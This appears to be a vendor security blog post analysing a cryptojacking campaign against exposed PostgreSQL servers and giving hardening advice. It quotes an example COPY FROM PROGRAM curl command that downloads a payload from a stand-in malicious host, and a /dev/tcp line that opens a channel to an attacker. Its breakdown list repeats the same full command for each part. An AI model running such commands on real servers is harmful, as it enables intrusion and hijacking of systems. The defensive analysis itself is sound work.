In March 2025, security researchers revealed a large-scale cryptojacking campaign that has silently compromised over 1,500 PostgreSQL servers across the globe. The threat actor behind this campaign was JINX-0126, which used the stealthy fileless techniques to mine cryptocurrency without leaving traditional malware footprints.

This blog post breaks down how the attack worked, what made it dangerous, and how you can ensure you are configuring your PostgreSQL database correctly to prevent exposure.
What was the cyber attack like?
Researchers from Wiz Threat Research and Aqua Security discovered that publicly exposed PostgreSQL servers with weak or default credentials were being exploited to run Monero (XMR) miners. The attackers used fileless execution to avoid detection, and most cloud security tools failed to catch this malicious behaviour.
Why PostgreSQL?
PostgreSQL is very popular RDBMS an widely used in cloud-hosted environments. In fact, approx. 90% of cloud platforms have at least one PostgreSQL database, and around 30% of them are publicly exposed. When not properly secured, these servers become easy targets for attackers.
Attach chain (source: WizResearch)
How the attack worked – A step-by-step analysis
Initial access
The attack began with the threat actors scanning the internet for publicly accessible PostgreSQL servers—those with open ports (typically port 5432) that accept external connections. These exposed servers are especially common in cloud environments where network restrictions are often overlooked.
Once identified, the attackers attempted to gain access using brute-force login attempts. This involves repeatedly trying common usernames like postgres, and weak or default passwords such as 123456, password, or even just postgres, or set trust as authentication methods in pg_hba.conf.
Unfortunately, many servers still use these credentials or settings, giving attackers a quick and easy way to break in and execute commands at the database level.
Exploitation
After successfully logging in, the attackers exploit the powerful but risky PostgreSQL feature COPY FROM PROGRAM
This feature allows users to execute shell commands directly from SQL queries and import the output into a database table. In this attack, it was used to run a curl command that silently downloaded a malware payload from a remote server. The command was disguised within a SQL query and ran directly on the database server's operating system.
Since this feature is rarely audited and often enabled by default, it provided a simple pathway for executing arbitrary commands, including downloading and installing malicious software.
Example payload:
COPY FROM PROGRAM 'curl -ksS http://malicious.server/pg_core -o pg_core'
Let's break down each command parts:
- COPY FROM PROGRAM 'curl -ksS http://malicious.server/pg_core -o pg_core'
- A PostgreSQL command that runs a shell command on the server.
- The output of the shell command is treated like data being copied into a PostgreSQL table.
- Dangerous if enabled and misused because it allows remote code execution.
- COPY FROM PROGRAM 'curl -ksS http://malicious.server/pg_core -o pg_core'
This is the shell command that gets executed. Let's explain it in parts:
- COPY FROM PROGRAM 'curl -ksS http://malicious.server/pg_core -o pg_core'
A tool used to download or send data from/to a URL (typically HTTP/HTTPS).
- COPY FROM PROGRAM 'curl -ksS http://malicious.server/pg_core -o pg_core'
Ignore SSL certificate warnings. Accepts self-signed or invalid certificates. This makes it easier for attackers to use untrusted servers.
- COPY FROM PROGRAM 'curl -ksS http://malicious.server/pg_core -o pg_core'
Enables silent mode, which suppresses curl’s progress meter. It hides output, making it less noisy in logs.
- COPY FROM PROGRAM 'curl -ksS http://malicious.server/pg_core -o pg_core'
Show errors, even if -s is enabled. So if something fails, the error is still visible.
- COPY FROM PROGRAM 'curl -ksS http://malicious.server/pg_core -o pg_core'
URL of the malicious file the attacker wants to download. In this case, it’s a binary named pg_core.
- COPY FROM PROGRAM 'curl -ksS http://malicious.server/pg_core -o pg_core'
Saves the file as pg_core on the disk.
- COPY FROM PROGRAM 'curl -ksS http://malicious.server/pg_core -o pg_core'
Killing the competition
Before deploying their own malware, the attackers ran shell commands to remove any existing cryptominers that might already be operating on the compromised server. This included known malware like kinsing and kdevtmpfsi.
By terminating these processes, the attackers ensured that their mining operation could monopolize all available CPU resources for maximum profitability. These cleanup commands are typically embedded in the same script or command chain that downloads the new miner, making the whole process seamless and automated.
Fileless malware execution
One of the most sophisticated aspects of this campaign was its fileless execution strategy. Instead of writing the mining software to disk where it could be detected by antivirus tools, the attackers loaded the malware directly into system memory using Linux’s memfd_create mechanism. This approach leveraged in-memory file descriptors that never touch the disk.
A related technique used Bash’s special /dev/tcp/ path to open a raw TCP socket to the attacker’s server, enabling remote command execution through a live network stream. This combination allowed the malware to execute in memory, remain persistent, and leave virtually no trace behind.
Example (simplified):
exec 5<>/dev/tcp/attacker_ip/port
Let's break down each command parts:
- exec 5<>/dev/tcp/attacker_ip/port
A built-in Bash command that opens, modifies, or redirects file descriptors. In this case, it's used to create a bidirectional (read-write) TCP connection.
- exec 5<>/dev/tcp/attacker_ip/port
This tells Bash to open file descriptor 5 for reading and writing (<>). Think of file descriptor 5 as a custom pipe or channel you’re creating.
- exec 5<>/dev/tcp/attacker_ip/port
This is a special Bash feature, available in Bash shells compiled with networking support. It lets you treat a network connection as a file. /dev/tcp/ is not a real directory on disk. It's a synthetic path provided by Bash.
Disguised processes
To further avoid detection, the attacker renamed the main malware binary to postmaster, which is the actual name of the main PostgreSQL process. Since administrators often monitor system processes using commands like ps or top, seeing a process named postmaster raises no suspicion. This simple disguise allowed the mining malware to blend in perfectly with legitimate database operations, making it much harder to identify through casual inspection or basic system monitoring tools.
Persistence mechanisms
The attackers implemented several methods to maintain control over the compromised server even after reboots or cleanup attempts.
First, they created a new PostgreSQL superuser account—usually named something like psql_sys, which gave them a permanent administrative backdoor into the database. Next, they modified the PostgreSQL pg_hba.conf configuration file to restrict external connections and only allow trusted local access. This made the server look secure while actually helping the malware persist. Finally, they added cron jobs to the system that ran every minute, checking if the miner was active and restarting it if it had been shut down.
These measures ensured that the malware could quietly continue operating indefinitely unless fully removed by a knowledgeable system administrator.
Why it was hard to detect
This cryptomining attack was hard to detect because it used fileless execution, meaning the malware ran entirely in memory, without saving any files to disk.
Most antivirus and security tools scan for known malicious files or watch for suspicious disk activity—but since nothing was written to disk, these tools didn't detect anything unusual. To make things even harder to detect, the attackers created a unique version of the malware for each server, with its own encrypted configuration using AES-256. This means no two infections looked the same, so signature-based detection (which looks for known patterns) didn't work.
As explained earlier, the attackers also disguised their malware to look like legitimate PostgreSQL processes by naming it postmaster, making it blend in with real services. They modified PostgreSQL’s pg_hba.conf to block external access while still allowing local connections, hiding the infected server from outside scans. Because many older cloud security tools (CWPPs) rely on static rules or file-based scans, they failed to catch these memory-based, customized, and well-hidden attacks. Detecting this type of threat requires advanced runtime monitoring and behaviour analysis something most systems don’t have by default.
How to protect your PostgreSQL server
To defend against campaigns like JINX-0126, follow these best practices:
Harden authentication
One of the simplest and most effective defences is to secure your PostgreSQL credentials. Attackers often rely on brute-force or credential-stuffing attacks against common usernames like postgres or admin. Always change default credentials immediately after deployment and use strong, unique passwords for every database user.
Implement Multi-Factor Authentication (MFA) where supported, especially for administrative access via jump hosts or proxy tools. MFA adds a critical second layer of protection that blocks unauthorized access even if credentials are leaked.
Lock down access
PostgreSQL servers should never be publicly exposed to the internet unless there's a very specific operational need.
Use firewalls, VPCs, and security groups to strictly limit access to known and trusted IP ranges which typically your application layer or internal systems. Additionally, avoid using the default PostgreSQL port (5432). Changing to a non-standard port (e.g., 5433 or 6543) won't stop a determined attacker, but it can reduce automated scan-and-exploit attempts, especially from bots that look for open 5432 ports.
Complement this by configuring postgresql.conf and pg_hba.conf to enforce IP-based connection restrictions and local-only trust relationships.
Disable COPY FROM PROGRAM
The COPY FROM PROGRAM feature in PostgreSQL allows shell commands to be executed from SQL, which is extremely dangerous if misused. Unless absolutely necessary, disable or restrict this feature.
This can be done by revoking the pg_execute_server_program privilege from all users except trusted superusers. Disabling it ensures attackers can’t exploit this vector to download or execute malware through SQL queries. Make sure your database roles follow the principle of least privilege-only which give users the permissions they truly need.
Monitor runtime behavior
Because campaigns like JINX-0126 rely on in-memory execution and disguised processes, they often go unnoticed by traditional file-based antivirus software. Deploy EDR/XDR tools that focus on runtime monitoring, memory analysis, and process behavior. Monitor for indicators such as:
- Unknown users being created in PostgreSQL
- High CPU usage from suspicious postmaster processes
- Unexpected cron jobs
- Outbound connections from the database host to unknown IPs
Behavior-based alerts are your best bet to detect stealthy, fileless malware that operates entirely in memory.
Scan for exposure
Regularly audit your infrastructure to identify exposed PostgreSQL instances and insecure configurations. Use appropriate 3rd party tools which can help you to discover if your database ports are open to the internet or if weak/default credentials are in use. Run these scans as part of your regular security checks, especially when provisioning new environments. For critical systems, consider external penetration testing to uncover gaps before attackers do.
Conclusion
The JINX-0126 campaign highlights how a combination of cloud misconfigurations, weak or default credentials, and exposed PostgreSQL features can quickly turn into a serious security breach.
While this particular attack focused on unauthorized cryptomining, the methods used—like fileless malware, disguised processes, and persistent backdoors—can easily be adapted for more damaging activities such as data theft, ransomware deployment, or privilege escalation. What starts as CPU hijacking can evolve into full system compromise if left unchecked.
This incident is a reminder that database security today goes far beyond protecting against SQL injection or setting up regular backups. It now requires a full-stack approach: hardening configurations, disabling risky features like COPY FROM PROGRAM, limiting network exposure, and actively monitoring runtime behaviour for anomalies.
Organizations looking for a robust and secure PostgreSQL solution can consider Fujitsu Enterprise Postgres, which offers enhanced security features, including fine-grained access controls, transparent data encryption, data masking, and audit capabilities, along with robust replication and high-availability features. Its hardened configurations make it a strong choice for mission-critical environments where security is paramount.
As databases become more integrated into cloud platforms, securing them must become a proactive, continuous process—not a one-time setup. Organizations that fail to adapt to these evolving threats risk turning critical infrastructure into silent profit machines for attackers.